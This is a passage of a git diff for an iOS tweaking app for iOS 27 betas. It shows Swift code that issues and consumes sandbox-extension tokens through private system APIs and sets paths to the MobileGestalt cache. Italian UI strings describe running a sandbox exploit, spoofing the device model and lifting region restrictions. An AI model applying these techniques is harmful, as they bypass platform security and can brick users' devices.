.appendingPathComponent(url.lastPathComponent) + try data.write(to: destination, options: .atomic) + return destination +} + +@Observable +@MainActor +final class TendiesVM { + private let service = tendies_service() + + var wallpapers: [tendies] = [] + var query = "" + var loading = false + var error_msg: String? + + var filtered: [tendies] { + guard !query.isEmpty else { + return wallpapers + } + + return wallpapers.filter { + $0.name.localizedCaseInsensitiveContains(query) || + ($0.description ?? "").localizedCaseInsensitiveContains(query) || + ($0.authors ?? "").localizedCaseInsensitiveContains(query) + } + } + + func load() async { + guard !loading else { return } + + loading = true + error_msg = nil + + do { + wallpapers = try await service.fetch_tendies() + } catch { + error_msg = error.localizedDescription + } + + loading = false + } + + func retry() async { + await load() + } +} \ No newline at end of file diff --git a/mond/helpers/sbx.swift b/mond/helpers/sbx.swift index 111e048..4197166 100644 --- a/mond/helpers/sbx.swift +++ b/mond/helpers/sbx.swift @@ -1,36 +1,36 @@ -// -// sbx.swift -// symlin4k -// -// Created by ruter on 10.07.26. -// - -import Foundation - -func sandbox_extension_consume(_ token: String) -> Int64? { - typealias sbx_consume_func = @convention(c) (UnsafePointer?) -> Int64 - - guard let libsys_sbx = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { return nil } - defer { dlclose(libsys_sbx) } - - guard let sbx_consume_sym = dlsym(libsys_sbx, "sandbox_extension_consume") else { return nil } - let consume = unsafeBitCast(sbx_consume_sym, to: sbx_consume_func.self) - let result = consume(token) - - return result -} - -func sandbox_extension_issue_file(path: String) -> String? { - typealias sbx_issue_func = @convention(c) (UnsafePointer?, UnsafePointer?, Int32, Int32) -> UnsafeMutablePointer? - - guard let libsys_sbx = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { return nil } - defer { dlclose(libsys_sbx) } - - guard let sbx_issue_sym = dlsym(libsys_sbx, "sandbox_extension_issue_file") else { return nil } - let issue = unsafeBitCast(sbx_issue_sym, to: sbx_issue_func.self) - - guard let ptr = issue("com.apple.app-sandbox.read-write", path, 0, 0) else { return nil } - defer { free(ptr) } - - return String(cString: ptr) -} +// +// sbx.swift +// symlin4k +// +// Created by ruter on 10.07.26. +// + +import Foundation + +func sandbox_extension_consume(_ token: String) -> Int64? { + typealias sbx_consume_func = @convention(c) (UnsafePointer?) -> Int64 + + guard let libsys_sbx = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { return nil } + defer { dlclose(libsys_sbx) } + + guard let sbx_consume_sym = dlsym(libsys_sbx, "sandbox_extension_consume") else { return nil } + let consume = unsafeBitCast(sbx_consume_sym, to: sbx_consume_func.self) + let result = consume(token) + + return result +} + +func sandbox_extension_issue_file(path: String) -> String? { + typealias sbx_issue_func = @convention(c) (UnsafePointer?, UnsafePointer?, Int32, Int32) -> UnsafeMutablePointer? + + guard let libsys_sbx = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { return nil } + defer { dlclose(libsys_sbx) } + + guard let sbx_issue_sym = dlsym(libsys_sbx, "sandbox_extension_issue_file") else { return nil } + let issue = unsafeBitCast(sbx_issue_sym, to: sbx_issue_func.self) + + guard let ptr = issue("com.apple.app-sandbox.read-write", path, 0, 0) else { return nil } + defer { free(ptr) } + + return String(cString: ptr) +} diff --git a/mond/helpers/utils.swift b/mond/helpers/utils.swift index 616257d..ba9ec1c 100644 --- a/mond/helpers/utils.swift +++ b/mond/helpers/utils.swift @@ -1,183 +1,183 @@ -// -// utils.swift -// mond -// -// Created by ruter on 18.07.26. -// - -import SwiftUI -import Darwin -import UIKit -import WebKit -import Combine - -func is_debugged() -> Bool { - var info = kinfo_proc() - var mib: [Int32] = [CTL_KERN, KERN_PROC, KERN_PROC_PID, getpid()] - var size = MemoryLayout.stride - - let rc = sysctl(&mib, u_int(mib.count), &info, &size, nil, 0) - if rc != 0 { return false } - - let P_TRACED: Int32 = 0x00000800 - return (info.kp_proc.p_flag & P_TRACED) != 0 -} - -func is_supported() -> Bool { - let v = ProcessInfo.processInfo.operatingSystemVersion - - return v.majorVersion == 27 && - v.minorVersion == 0 && - v.patchVersion == 0 -} - -func has_home_button() -> Bool { - let windows = UIApplication.shared.connectedScenes - .compactMap { $0 as? UIWindowScene } - .flatMap { $0.windows } - - return (windows.first(where: { $0.isKeyWindow })?.safeAreaInsets.bottom ?? 0) == 0 -} - -enum AppPaths { - static var backups: String { - let url = backups_url - try? FileManager.default.createDirectory(at: url, withIntermediateDirectories: true, attributes: nil) - return url.path - } - - private static var backups_url: URL { - let baseURL = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first - ?? URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true) - return baseURL.appendingPathComponent("backups", isDirectory: true) - } - - static var tendies: String { - let url = tendies_url - try? FileManager.default.createDirectory(at: url, withIntermediateDirectories: true, attributes: nil) - return url.path - } - - private static var tendies_url: URL { - let baseURL = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first - ?? URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true) - return baseURL.appendingPathComponent("tendies", isDirectory: true) - } -} - -enum TweakPaths { - static var gestalt = "/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist" - static var gestalt_dir = "/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/" - static var apps = "/private/var/mobile/Containers/Data/Application/" -} - -// respring.swift: easy respring on all iOS versions (probably). -// Web approach developed by @neonmodder123, implemented in Swift here by @skadz108. -// 4/9/26, https://jailbreak.party - -let respringDocument = """ - - - - - - - - -""" - -struct RespringView: UIViewRepresentable { - func makeUIView(context: Context) -> WKWebView { - let webView = WKWebView() - WKWebpagePreferences().allowsContentJavaScript = true - return webView - } - - func updateUIView(_ webView: WKWebView, context: Context) { - webView.loadHTMLString(respringDocument, baseURL: nil) - } -} - -final class AppState: ObservableObject { - static let shared = AppState() - - @Published var show_respring = false - @Published var exploit_succeeded = false - @Published var granting_pb = false - @Published var pb_granted: Bool? = nil - @Published var granting_apps = false - @Published var apps_granted: Bool? = nil - @Published var granting_mg = false - @Published var mg_granted: Bool? = nil - @Published var poster_files: [URL] = [] - - func respring() { - show_respring = true - } - - func append_poster_file(_ url: URL) { - guard is_pb_archive(url) else { - print("(pb) ignoring unsupported file: \(url.lastPathComponent)") - return - } - - if poster_files.contains(url) { - return - } - - _ = url.startAccessingSecurityScopedResource() - poster_files.append(url) - } - - func remove_poster_files(at offsets: IndexSet) { - for index in offsets { - poster_files[index].stopAccessingSecurityScopedResource() - } - - poster_files.remove(atOffsets: offsets) - } - - func clear_pb_files() { - for url in poster_files { - url.stopAccessingSecurityScopedResource() - } - - poster_files.removeAll() - } -} - -func is_pb_archive(_ url: URL) -> Bool { - switch url.pathExtension.lowercased() { - case "tendies", "zip": - return true - default: - return false - } -} +// +// utils.swift +// mond +// +// Created by ruter on 18.07.26. +// + +import SwiftUI +import Darwin +import UIKit +import WebKit +import Combine + +func is_debugged() -> Bool { + var info = kinfo_proc() + var mib: [Int32] = [CTL_KERN, KERN_PROC, KERN_PROC_PID, getpid()] + var size = MemoryLayout.stride + + let rc = sysctl(&mib, u_int(mib.count), &info, &size, nil, 0) + if rc != 0 { return false } + + let P_TRACED: Int32 = 0x00000800 + return (info.kp_proc.p_flag & P_TRACED) != 0 +} + +func is_supported() -> Bool { + let v = ProcessInfo.processInfo.operatingSystemVersion + + return v.majorVersion == 27 && + v.minorVersion == 0 && + v.patchVersion == 0 +} + +func has_home_button() -> Bool { + let windows = UIApplication.shared.connectedScenes + .compactMap { $0 as? UIWindowScene } + .flatMap { $0.windows } + + return (windows.first(where: { $0.isKeyWindow })?.safeAreaInsets.bottom ?? 0) == 0 +} + +enum AppPaths { + static var backups: String { + let url = backups_url + try? FileManager.default.createDirectory(at: url, withIntermediateDirectories: true, attributes: nil) + return url.path + } + + private static var backups_url: URL { + let baseURL = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first + ?? URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true) + return baseURL.appendingPathComponent("backups", isDirectory: true) + } + + static var tendies: String { + let url = tendies_url + try? FileManager.default.createDirectory(at: url, withIntermediateDirectories: true, attributes: nil) + return url.path + } + + private static var tendies_url: URL { + let baseURL = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first + ?? URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true) + return baseURL.appendingPathComponent("tendies", isDirectory: true) + } +} + +enum TweakPaths { + static var gestalt = "/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist" + static var gestalt_dir = "/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/" + static var apps = "/private/var/mobile/Containers/Data/Application/" +} + +// respring.swift: easy respring on all iOS versions (probably). +// Web approach developed by @neonmodder123, implemented in Swift here by @skadz108. +// 4/9/26, https://jailbreak.party + +let respringDocument = """ + + + + + + + + +""" + +struct RespringView: UIViewRepresentable { + func makeUIView(context: Context) -> WKWebView { + let webView = WKWebView() + WKWebpagePreferences().allowsContentJavaScript = true + return webView + } + + func updateUIView(_ webView: WKWebView, context: Context) { + webView.loadHTMLString(respringDocument, baseURL: nil) + } +} + +final class AppState: ObservableObject { + static let shared = AppState() + + @Published var show_respring = false + @Published var exploit_succeeded = false + @Published var granting_pb = false + @Published var pb_granted: Bool? = nil + @Published var granting_apps = false + @Published var apps_granted: Bool? = nil + @Published var granting_mg = false + @Published var mg_granted: Bool? = nil + @Published var poster_files: [URL] = [] + + func respring() { + show_respring = true + } + + func append_poster_file(_ url: URL) { + guard is_pb_archive(url) else { + print("(pb) ignoring unsupported file: \(url.lastPathComponent)") + return + } + + if poster_files.contains(url) { + return + } + + _ = url.startAccessingSecurityScopedResource() + poster_files.append(url) + } + + func remove_poster_files(at offsets: IndexSet) { + for index in offsets { + poster_files[index].stopAccessingSecurityScopedResource() + } + + poster_files.remove(atOffsets: offsets) + } + + func clear_pb_files() { + for url in poster_files { + url.stopAccessingSecurityScopedResource() + } + + poster_files.removeAll() + } +} + +func is_pb_archive(_ url: URL) -> Bool { + switch url.pathExtension.lowercased() { + case "tendies", "zip": + return true + default: + return false + } +} \ No newline at end of file diff --git a/mond/it.lproj/CEView.strings b/mond/it.lproj/CEView.strings new file mode 100644 index 0000000..f6b2a3e --- /dev/null +++ b/mond/it.lproj/CEView.strings @@ -0,0 +1,18 @@ +"true" = "vero"; +"false" = "falso"; +"invalid_integer" = "Intero non valido"; +"enter_true_false" = "Inserisci true/false"; +"invalid_base64" = "Base64 non valido"; +"no_cache_extra_fields" = "Nessun campo CacheExtra"; +"no_results" = "Nessun risultato"; +"search_for_keys_or_values" = "Cerca chiavi o valori"; +"saved" = "Salvato"; +"you_must_respring" = "Le modifiche ai campi sono state scritte in MobileGestalt. Esegui un respring per applicare le modifiche."; +"type" = "Tipo"; +"value" = "Valore"; +"key" = "Chiave"; +"key_name" = "Nome chiave"; +"add_field" = "Aggiungi campo"; +"add" = "Aggiungi"; +"key_cant_be_empty" = "La chiave non può essere vuota"; +"key_already_exist" = "La chiave esiste già"; diff --git a/mond/it.lproj/ContentView.strings b/mond/it.lproj/ContentView.strings new file mode 100644 index 0000000..4a9535b --- /dev/null +++ b/mond/it.lproj/ContentView.strings @@ -0,0 +1,5 @@ +"logs" = "Log"; +"tweaks" = "Tweak"; +"only_mobilegestalt_available" = "Quando è selezionato il metodo cmg, è disponibile solo MobileGestalt."; +"advanced" = "Avanzate"; +"advanced_warning" = "Usa queste impostazioni solo se sai cosa stai facendo.\nPotresti danneggiare qualcosa in modo irreversibile."; diff --git a/mond/it.lproj/GestaltView.strings b/mond/it.lproj/GestaltView.strings new file mode 100644 index 0000000..9c0af6e --- /dev/null +++ b/mond/it.lproj/GestaltView.strings @@ -0,0 +1,86 @@ +"menu_warning.do_not_reboot" = "Non riavviare!"; +"menu_warning.mg_empty" = "Il tuo MobileGestalt.plist sembra essere vuoto."; +"menu_warning.mg_invalid" = "Il tuo MobileGestalt.plist sembra non essere valido."; +"menu_warning.bootloop" = "Riavviare ora potrebbe causare un bootloop. Prova a premere «Annulla tweak». Se gli avvisi non scompaiono, sei nei guai."; + +"menu.apply_tweaks" = "Applica tweak"; +"menu.revert_tweaks" = "Annulla tweak"; +"menu.tweak_warning" = "**ATTENZIONE:** Questi tweak possono danneggiare le funzioni del dispositivo o causare un softbrick se usati impropriamente!"; + +"artwork.original_subtype_format" = "Originale "; +"artwork.disable_dynamic_island" = "Disabilita Dynamic Island"; +"artwork.subtype" = "Sottotipo"; +"artwork.custom_device_name" = "Nome dispositivo personalizzato"; +"artwork.device_name" = "Nome dispositivo"; +"artwork.device_artwork" = "Immagine dispositivo"; + +"software.enable_dynamic_island_capability" = "Abilita il supporto Dynamic Island"; +"software.enable_dynamic_island_capability_info" = "Un metodo alternativo per abilitare Dynamic Island, usato da Nugget."; +"software.always_on_display" = "Always-On Display"; +"software.always_on_display_info" = "Può aumentare il rischio di burn-in dello schermo sui dispositivi che non lo supportano ufficialmente."; +"software.aod_vibrancy" = "Vivacità AOD"; +"software.aod_vibrancy_info" = "Attivalo se Always-On Display viene visualizzato in modo errato."; +"software.disable_wallpaper_parallax" = "Disabilita parallasse sfondo"; +"software.disable_wallpaper_parallax_info" = "Impedisce allo sfondo di muoversi quando inclini o sposti il dispositivo."; +"software.charge_limit_menu" = "Menu limite di ricarica"; +"software.charge_limit_menu_info" = "Mostra il menu nelle Impostazioni; il limite effettivo di ricarica dipende dall'hardware."; +"software.boot_shutdown_chime" = "Suono di avvio e spegnimento"; +"software.boot_shutdown_chime_info" = "Aggiunge il suono quando il dispositivo si accende o si spegne."; +"software.enable_liquid_glass_low_performance_mode" = "Abilita modalità a basse prestazioni di Liquid Glass"; +"software.enable_liquid_glass_low_performance_mode_info" = "Destinato a iOS 26 e versioni successive."; +"software.disable_liquid_glass_low_performance_mode" = "Disabilita modalità a basse prestazioni di Liquid Glass"; +"software.disable_liquid_glass_low_performance_mode_info" = "Non usarlo contemporaneamente all'opzione sopra."; +"software.software_oriented_features" = "Funzioni software"; + +"hardware.camera_control_settings" = "Impostazioni Camera Control di iPhone 16"; +"hardware.camera_control_settings_info" = "Espone le impostazioni di Camera Control e le relative funzioni."; +"hardware.action_button_settings" = "Impostazioni del pulsante Azione"; +"hardware.action_button_settings_info" = "Mostra la pagina delle impostazioni del pulsante Azione."; +"hardware.collision_sos" = "SOS collisione"; +"hardware.collision_sos_info" = "Mostra le opzioni di rilevamento collisioni nelle impostazioni SOS."; +"hardware.tap_to_wake" = "Tocca per riattivare"; +"hardware.tap_to_wake_info" = "Pensato per dispositivi come iPhone SE, dove il risveglio tramite tocco non è altrimenti disponibile."; +"hardware.pulse_width_modulation" = "Modulazione di larghezza d'impulso"; +"hardware.hardware_oriented_features" = "Funzioni hardware"; + +"eligibility.security_research_device_mode" = "Modalità dispositivo per ricerca sulla sicurezza"; +"eligibility.security_research_device_mode_info" = "Contrassegna il dispositivo come dispositivo Apple per la ricerca sulla sicurezza."; +"eligibility.disable_region_restrictions" = "Disabilita restrizioni regionali"; +"eligibility.disable_region_restrictions_info" = "Questo tweak potrebbe essere non funzionante o non avere effetto su alcune versioni di iOS o dispositivi."; +"eligibility.disable_region_restrictions_warning" = "Non usare questa funzione per aggirare restrizioni regionali che comporterebbero la violazione delle leggi locali (ad esempio disabilitare il suono dell'otturatore della fotocamera). NON saremo responsabili per l'abilitazione di attività illegali!"; +"eligibility.apple_intelligence" = "Apple Intelligence"; +"eligibility.apple_intelligence_info" = "Come usare questo tweak:\n1. Esegui lo spoof del modello successivo al primo modello supportato da Apple Intelligence.\n2. Torna al tuo modello.\n3. Esegui lo spoof del modello finale e dovresti vedere l'icona Apple Intelligence nelle Impostazioni.\n4. Collega l'iPhone all'alimentazione e lascia aperta la scheda Impostazioni > Spazio iPhone per circa 1 ora.\n\nNOTA: non tornare indietro con lo spoof."; +"eligibility.spoofing" = "Spoofing"; +"eligibility.default_model" = "Default"; +"eligibility.device_spoofing_info" = "Informazioni sullo spoofing del dispositivo"; +"eligibility.device_spoofing_info_body" = "Esegui lo spoof del modello del dispositivo solo se vuoi scaricare Apple Intelligence. Potrebbe interrompere Face ID. Se decidi di rimuovere lo spoof e vuoi mantenere Apple Intelligence, NON rientrare nel menu Apple Intelligence e Siri nelle Impostazioni."; +"eligibility.apple_intelligence_spoof" = "Spoof Apple Intelligence"; +"eligibility.apple_intelligence_spoof_info" = "Come usare questo tweak:\n1. Esegui lo spoof del modello successivo al primo modello supportato da Apple Intelligence.\n2. Torna al tuo modello.\n3. Esegui lo spoof del modello finale e dovresti vedere l'icona Apple Intelligence nelle Impostazioni.\n4. Collega l'iPhone all'alimentazione e lascia aperta la scheda Impostazioni > Spazio iPhone per circa 1 ora.\n\nNOTA: non tornare indietro con lo spoof."; +"eligibility.eligibility" = "Idoneità"; + +"ipados.allow_ipados_apps" = "Consenti app iPad"; +"ipados.allow_ipados_apps_info" = "Consente di installare app iPad su iPhone."; +"ipados.apple_pencil_settings" = "Impostazioni Apple Pencil"; +"ipados.apple_pencil_settings_info" = "Mostra la pagina delle impostazioni di Apple Pencil."; +"ipados.stage_manager_support" = "Supporto Stage Manager"; +"ipados.stage_manager_support_info" = "Contrassegna il dispositivo come compatibile con Stage Manager."; +"ipados.ipados_mode" = "Abilita modalità iPadOS"; +"ipados.ipados_mode_info" = "Funzione sperimentale e ad alto rischio; è un tweak molto pericoloso! Se usi un codice alfanumerico, NON USARE QUESTO TWEAK! Non disattivare «Mostra Dock in Stage Manager», altrimenti il dispositivo entrerà in BOOTLOOP ruotando in orizzontale! Alcuni utenti hanno anche segnalato che abilitare l'interfaccia iPadOS e poi toccare Stage Manager può portare il dispositivo in modalità di recupero, anche quando l'interfaccia non sembra cambiata. Prima che ciò accada, la barra di ricerca delle Impostazioni potrebbe spostarsi in alto. Tenendo presenti questi tre aspetti, potresti riscontrare instabilità generale o altri problemi importanti, come la scomparsa casuale dei dati delle app. Ma immagino che alcune divertenti funzioni multitasking che rendono comunque il dispositivo relativamente inutilizzabile siano fantastiche? In ogni caso, non sono qui per dirti come usare il tuo dispositivo."; +"ipados.ipados_features" = "Funzioni iPadOS"; + +"internal.internal_storage_view" = "Visualizzazione spazio interno"; +"internal.internal_storage_view_info" = "Mostra i file interni nelle impostazioni Spazio iPhone; può essere pericoloso su alcuni iPad."; +"internal.internal_features" = "Funzioni interne"; +"internal.apple_internal_install" = "Installazione interna Apple"; +"internal.apple_internal_install_info" = "Abilita funzioni interne come Metal HUD; alcuni servizi potrebbero comportarsi in modo anomalo."; +"internal.internal" = "Interno"; + +"warning.failed_to_load_mg" = "Impossibile caricare il MobileGestalt corrente!"; +"warning.restart_and_check_logs" = "Riavvia l'app e riprova. Controlla i log per informazioni più dettagliate."; +"warning.successfully_applyed_mg" = "Tweak Gestalt applicati correttamente!"; +"warning.respring_to_take_effect" = "Esegui un respring del dispositivo affinché le modifiche abbiano effetto. Nota che alcuni tweak potrebbero richiedere un riavvio per essere applicati correttamente."; +"warning.failed_to_apply_mg" = "Impossibile applicare MobileGestalt!"; +"warning.successfully_reverted_mg" = "Tweak Gestalt ripristinati correttamente!"; +"warning.reboot_to_take_effect" = "Riavvia il dispositivo affinché le modifiche abbiano effetto."; +"warning.failed_to_revert_mg" = "Impossibile ripristinare MobileGestalt!"; +"warning.check_logs" = "Controlla i log per informazioni sull'errore."; diff --git a/mond/it.lproj/LanguageView.strings b/mond/it.lproj/LanguageView.strings new file mode 100644 index 0000000..2459765 --- /dev/null +++ b/mond/it.lproj/LanguageView.strings @@ -0,0 +1,7 @@ +"system_default" = "Lingua di sistema"; +"system_default_description" = "Usa la lingua del dispositivo"; +"language" = "Lingua"; +"choose_language" = "Scegli lingua"; +"restart_required" = "Riavvio richiesto"; +"exit" = "Esci"; +"restart_required_message" = "L'app deve essere riavviata affinché la modifica della lingua abbia effetto."; diff --git a/mond/it.lproj/Localizable.strings b/mond/it.lproj/Localizable.strings new file mode 100644 index 0000000..ba02287 --- /dev/null +++ b/mond/it.lproj/Localizable.strings @@ -0,0 +1,10 @@ +/* Localizzazione italiana di mond */ +// Chiavi utilizzate in più file o in altre parti +"warning" = "Attenzione!"; +"respring" = "Respring"; +"not_supported" = "Non supportato!"; +"check_your_ios" = "La tua versione di iOS potrebbe non essere supportata da mond.\nMond supporta solo iOS 27.0 developer beta 1–4."; +"cancel" = "Annulla"; +"done" = "Fine"; +"save_failed" = "Salvataggio non riuscito"; +"information" = "Informazioni"; diff --git a/mond/it.lproj/LogsView.strings b/mond/it.lproj/LogsView.strings new file mode 100644 index 0000000..aefe8a5 --- /dev/null +++ b/mond/it.lproj/LogsView.strings @@ -0,0 +1 @@ +"copy_output" = "Copia output"; diff --git a/mond/it.lproj/PosterView.strings b/mond/it.lproj/PosterView.strings new file mode 100644 index 0000000..3d70655 --- /dev/null +++ b/mond/it.lproj/PosterView.strings @@ -0,0 +1,15 @@ +"apply" = "Applica"; +"reset" = "Reimposta"; +"import_tendies" = "Importa Tendies"; +"explore_tendies" = "Esplora Tendies"; +"tendies_warning" = "Importa fino a 5 pacchetti di sfondi.\n**NOTA:** Importare più di 5 Tendies alla volta non è una buona idea, e importarne più di 15 è un'idea TERRIBILE. Non dire che non ti avevo avvertito."; +"imported" = "Importato"; +"poster_apply_success_title" = "PosterBoard applicato correttamente!"; +"poster_take_effect" = "Per applicare le modifiche:\n1. Tocca «Apri» per avviare PosterBoard\n2. Chiudilo dal selettore app"; +"open" = "Apri"; +"poster_apply_failed_title" = "Impossibile applicare PosterBoard!"; +"poster_apply_failed_body" = "Riavvia l'app e riprova. Controlla i log per maggiori informazioni."; +"poster_reset_success_title" = "Modifiche a PosterBoard annullate correttamente!"; +"poster_reset_success_body" = "Esegui un respring del dispositivo per applicare le modifiche."; +"poster_reset_failed_title" = "Impossibile annullare le modifiche a PosterBoard!"; +"poster_reset_failed_body" = "Riavvia l'app e riprova. Controlla i log per maggiori informazioni."; diff --git a/mond/it.lproj/SantanderView.strings b/mond/it.lproj/SantanderView.strings new file mode 100644 index 0000000..65b3b8b --- /dev/null +++ b/mond/it.lproj/SantanderView.strings @@ -0,0 +1,17 @@ +"go_to_root" = "Vai alla radice"; +"go_to_home" = "Vai alla home"; +"display_hidden_files" = "Mostra file nascosti"; +"sort_az" = "Ordina da A a Z"; +"sort_za" = "Ordina da Z ad A"; +"save" = "Salva"; +"ok" = "OK"; +"failed_to_render_image" = "Impossibile visualizzare l'immagine"; +"missing_write_permission" = "Permesso di scrittura mancante."; +"could_not_encode_text" = "Impossibile codificare il testo."; +"invalid_plist_json" = "Il testo modificato non è un documento plist/JSON valido."; +"no_visible_items" = "Nessun elemento visibile. Abilita «Mostra file nascosti» per visualizzare i dotfile."; +"directory_empty" = "La directory è vuota."; +"no_app_containers_found" = "Nessun contenitore app trovato."; +"cannot_list_directory" = "Impossibile elencare la directory (permessi insufficienti)."; +"not_a_directory" = "Non è una directory."; +"no_matching_items" = "Nessun elemento corrispondente."; diff --git a/mond/it.lproj/SettingsView.strings b/mond/it.lproj/SettingsView.strings new file mode 100644 index 0000000..3fda91d --- /dev/null +++ b/mond/it.lproj/SettingsView.strings @@ -0,0 +1,37 @@ +"unknown_app" = "App sconosciuta"; +"method" = "Metodo"; +"run_exploit" = "Esegui exploit"; +"exploit" = "Exploit"; +"exploit_method_cmg" = "**CMG:** Supporta iOS 27.0 b1–b4. Con questo metodo funzionerà solo MobileGestalt. Usalo solo quando bad_query non funziona."; +"exploit_method_bad_query" = "**bad_query:** Supporta iOS 27.0 b1–b4. Di [forcequit](https://github.com/forcequitOS)."; +"sandbox_extension_token" = "Token di estensione sandbox."; +"token_class" = "Classe:"; +"token_path" = "Percorso:"; +"copy_token" = "Copia token"; +"failed_to_get_token" = "Impossibile ottenere il token."; +"generate_token" = "Genera token"; +"token" = "Token"; +"sandbox_token_valid" = "Il token sandbox è valido."; +"sandbox_token_invalid" = "Il token sandbox non è valido."; +"exploit_failed_version" = "Disabilitato perché l'exploit non ha funzionato. La tua versione di iOS è supportata?"; +"keep_alive" = "Mantieni attivo"; +"keep_alive_info" = "Mantiene l'app in esecuzione in background dopo la chiusura, consentendole di rimanere attiva."; +"dismiss_after_importing" = "Chiudi dopo l'importazione"; +"dismiss_after_importing_info" = "Se abilitato, l'esploratore Tendies si chiuderà automaticamente dopo aver importato un file .tendies in PosterBoard."; +"persist_after_reboot" = "Mantieni dopo il riavvio"; +"persist_after_reboot_info" = "Se abilitato, MobileGestalt viene scritto sullo stesso inode, cosa che (si spera) impedisce a iOS di rigenerare la cache al riavvio. Disabilita per usare la sostituzione atomica del file."; +"ignore_exploit_failure" = "Ignora errore exploit"; +"ignore_exploit_failure_info" = "Se abilitato, tutti i tweak saranno accessibili anche se l'exploit non è riuscito."; +"settings" = "Impostazioni"; +"tools" = "Strumenti"; +"respring_method_credits" = "Metodo di respring di [neon](https://github.com/neonmodder123), implementazione Swift di [skadz](https://github.com/skadz108)."; +"credit_main_developer" = "Sviluppatore principale"; +"credit_bad_query_exploit" = "Exploit bad_query"; +"credit_mcm_bug_class" = "Il suo lavoro sulla classe di bug MCM"; +"credit_partyui_gestaltview" = "PartyUI, GestaltView"; +"credit_tendies_repo" = "Repository Tendies"; +"credit_locaclization_project" = "Creazione del progetto di localizzazione"; +"credits" = "Crediti"; +"are_you_sure" = "Sei sicuro?"; +"confirm" = "Conferma"; +"confirm_respring" = "Conferma di voler eseguire un respring."; diff --git a/mond/it.lproj/TendiesView.strings b/mond/it.lproj/TendiesView.strings new file mode 100644 index 0000000..1450229 --- /dev/null +++ b/mond/it.lproj/TendiesView.strings @@ -0,0 +1,11 @@ +"loading_wallpapers" = "Caricamento sfondi…"; +"couldnt_load_tendies" = "Impossibile caricare Tendies"; +"try_again" = "Riprova"; +"search_wallpapers" = "Cerca sfondi"; +"import_failed" = "Importazione non riuscita"; +"ok" = "OK"; +"add_to_imported" = "Aggiungi agli importati"; +"preview_unavailable" = "Anteprima non disponibile"; +"preview_couldnt_load" = "Impossibile caricare l'anteprima dello sfondo."; +"downloading" = "Download..."; +"download_failed" = "Download non riuscito"; diff --git a/mond/mond.swift b/mond/mond.swift index 58fd40b..70299a7 100644 --- a/mond/mond.swift +++ b/mond/mond.swift @@ -1,91 +1,92 @@ -// -// mond.swift -// mond -// -// Created by ruter on 16.07.26. -// - -import SwiftUI -import PartyUI -import UniformTypeIdentifiers - -var pipe = Pipe() -var sema = DispatchSemaphore(value: 0) -var fm = FileManager.default - -var path: String { - let url = FileManager.default - .urls(for: .documentDirectory, in: .userDomainMask)[0] - .appendingPathComponent("test.txt") - - if !FileManager.default.fileExists(atPath: url.path) { - FileManager.default.createFile(atPath: url.path, contents: Data()) - } - - return url.path -} - -@main -struct mond: App { - @StateObject private var state = AppState.shared - - @AppStorage("ka_on") private var ka_on = true - - init() { - if !is_debugged() { - setvbuf(stdout, nil, _IONBF, 0) - dup2(pipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO) - } - - UserDefaults.standard.register(defaults: [ - "method": "bad_query", - "atomic_write": true - ]) - if UserDefaults.standard.bool(forKey: "ka_on") { - keep_alive() - } - - // thanks lunginspector - let fix = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.fix_init(forOpeningContentTypes:asCopy:)))! - let og = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.init(forOpeningContentTypes:asCopy:)))! - method_exchangeImplementations(og, fix) - } - - var body: some Scene { - WindowGroup { - ContentView() - .environmentObject(state) - .onOpenURL { url in - guard is_pb_archive(url) else { - print("(mond) ignoring unsupported URL: \(url.lastPathComponent)") - return - } - - state.append_poster_file(url) - } - .onAppear() { - if !is_supported() { - Alertinator.shared.alert(title: "Not supported!", body: "Your iOS version may not be supported by mond.\nMond only supports iOS 27.0 developer beta 1 - 4.") - } - - grant_all(state: state) - } - .overlay { - if state.show_respring { - RespringView() - .brightness(-1.0) - .ignoresSafeArea() - .onAppear { - print("(respring) respringing now...") - } - } - } - } - } -} - -extension UIDocumentPickerViewController { - @objc func fix_init(forOpeningContentTypes contentTypes: [UTType], asCopy: Bool) -> UIDocumentPickerViewController { - return fix_init(forOpeningContentTypes: contentTypes, asCopy: true) - } -} +// +// mond.swift +// mond +// +// Created by ruter on 16.07.26. +// + +import SwiftUI +import PartyUI +import UniformTypeIdentifiers + +var pipe = Pipe() +var sema = DispatchSemaphore(value: 0) +var fm = FileManager.default + +var path: String { + let url = FileManager.default + .urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("test.txt") + + if !FileManager.default.fileExists(atPath: url.path) { + FileManager.default.createFile(atPath: url.path, contents: Data()) + } + + return url.path +} + +@main +struct mond: App { + @StateObject private var state = AppState.shared + @StateObject private var language_manager = LanguageManager.shared + + @AppStorage("ka_on") private var ka_on = true + + init() { + if !is_debugged() { + setvbuf(stdout, nil, _IONBF, 0) + dup2(pipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO) + } + + UserDefaults.standard.register(defaults: [ + "method": "bad_query", + "atomic_write": true + ]) + if UserDefaults.standard.bool(forKey: "ka_on") { + keep_alive() + } + + // thanks lunginspector + let fix = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.fix_init(forOpeningContentTypes:asCopy:)))! + let og = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.init(forOpeningContentTypes:asCopy:)))! + method_exchangeImplementations(og, fix) + } + + var body: some Scene { + WindowGroup { + ContentView() + 